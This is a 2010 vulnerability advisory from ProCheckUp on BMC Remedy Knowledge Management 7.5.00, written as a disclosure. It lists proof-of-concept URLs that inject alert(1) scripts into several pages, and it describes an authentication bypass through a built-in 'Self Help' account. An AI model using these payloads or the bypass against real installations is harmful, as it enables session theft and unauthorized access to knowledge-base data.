BMC Remedy Knowledge Management 7.5.00 XSS / Bypass

`PR10-13: Multiple XSS and Authentication flaws within BMC Remedy  
Knowledge Management  
  
Vulnerability found: 17th July 2010  
  
Vendor informed:  
  
Vulnerability fixed:  
  
Severity: High  
  
Description:  
  
BMC Remedy Knowledge Management provides service desk analysts with a  
knowledge base of easy-to-find solutions and gives users self-service  
search options to help them resolve issues on their own. ProCheckUp has  
discovered that multiple Remedy Knowledge Management pages are  
vulnerable to reflective XSS attacks, a built in self help account  
allows for authentication bypass.  
  
Version: 7.5.00 - http://www.bmc.com/  
  
  
1) The following demonstrate the reflective XSS flaws  
  
https://target-domain.foo/rkm/external.jsp?doc='%3balert(1)//&user=Self+Help  
  
https://target-domain.foo/rkm/search.jsp?user=Self+Help&startDate=\'%3balert(1)//  
  
https://target-domain.foo/rkm/usersettings.jsp?"><script>alert(1)</script>  
  
https://target-domain.foo/rkm/viewdoc.jsp?doc=><script>alert(1)</script>&user=Self%20Help  
  
Works on IE - login screen referrer XSS  
https://target-domain.foo/rkm/AttachmentServlet?="><script>alert(1)</script>  
  
Consequences:  
An attacker may be able to cause execution of malicious scripting code  
in the browser of a user who clicks on a link to Remedy Knowledge  
Management based site. Such code would run within the security context  
of the target domain. This type of attack can result in non-persistent  
defacement of the target site, or the redirection of confidential  
information (i.e.: session IDs) to unauthorised third parties.  
  
2) Remedy Knowledge Management is vulnerable to authentication bypass  
by using a built in default account. (user=Self%20Help)  
  
https://target-domain.foo/rkm/index.jsp?user=Self%20Help  
  
The following directory requires a password to authenticate only  
https://target-domain.foo/rkm/configuration  
  
  
Consequences:  
An attacker may be able to gain access to data held within a Remedy  
Knowledge Managment based site.  
  
  
Fix:  
.  
  
References:  
http://www.procheckup.com/Vulnerabilities.php  
  
Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)  
  
Legal:  
Copyright 2010 Procheckup Ltd. All rights reserved.  
  
Permission is granted for copying and circulating this Bulletin to the  
Internet community for the purpose of alerting them to problems, if and  
only if, the Bulletin is not edited or changed in any way, is attributed  
to Procheckup, and provided such reproduction and/or distribution is  
performed for non-commercial purposes.  
  
Any other use of this information is prohibited. Procheckup is not  
liable for any misuse of this information by any third party.  
`